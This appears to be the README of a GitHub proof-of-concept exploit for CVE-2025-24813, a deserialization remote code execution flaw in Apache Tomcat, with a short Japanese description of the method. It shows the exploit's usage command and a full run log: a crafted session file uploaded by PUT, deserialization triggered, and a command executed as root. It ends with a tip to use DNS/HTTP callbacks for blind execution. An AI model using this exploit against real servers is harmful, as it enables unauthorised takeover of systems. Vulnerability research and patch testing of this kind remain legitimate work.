gunyakit/cve-2025-24813-poc-exploitApache TomcatのデシリアライゼーションRCE（CVE-2025-24813）の概念実証エクスプロイト。PUTリクエストを介して巧妙に細工されたセッションファイルをアップロードし、デシリアライゼーションをトリガーしてターゲットサーバー上で任意のコマンドを実行する。
Apache Tomcat デシリアライゼーション RCE
❯ python3 exploit.py http://localhost:8080/ "id"
============================================================
CVE-2025-24813 - Apache Tomcat Partial PUT RCE
============================================================
[*] Target: http://localhost:8080
[*] Command: id
[*] Creating exploit payload...
[*] Uploading payload via PUT to: http://localhost:8080/session/exploit.session
[*] PUT Response: 201
[+] Payload uploaded successfully!
[*] Triggering deserialization...
[*] Trigger Response: 200
[*] Response body:
<!DOCTYPE html>
<html>
<head><title>Deserialization Triggered!</title></head>
<body style="background:#1a1a2e;color:#e0e0e0;font-family:monospace;padding:2rem;">
<h1 style="color:#ef4444;">⚠️ Deserialization RCE Triggered!</h1>
<p>Session file deserialized: exploit.session</p>
<p>Command executed: <code style="color:#4ade80;">id</code></p>
<hr>
<pre style="background:#0a0a0a;padding:1rem;border-radius:8px;color:#00d4ff;">
uid=0(root) gid=0(root) groups=0(root)
</pre>
</body>
</html>
[*] Exploit complete!
If deserialization worked, check target for command execution.
For blind RCE, use out-of-band techniques (DNS/HTTP callbacks)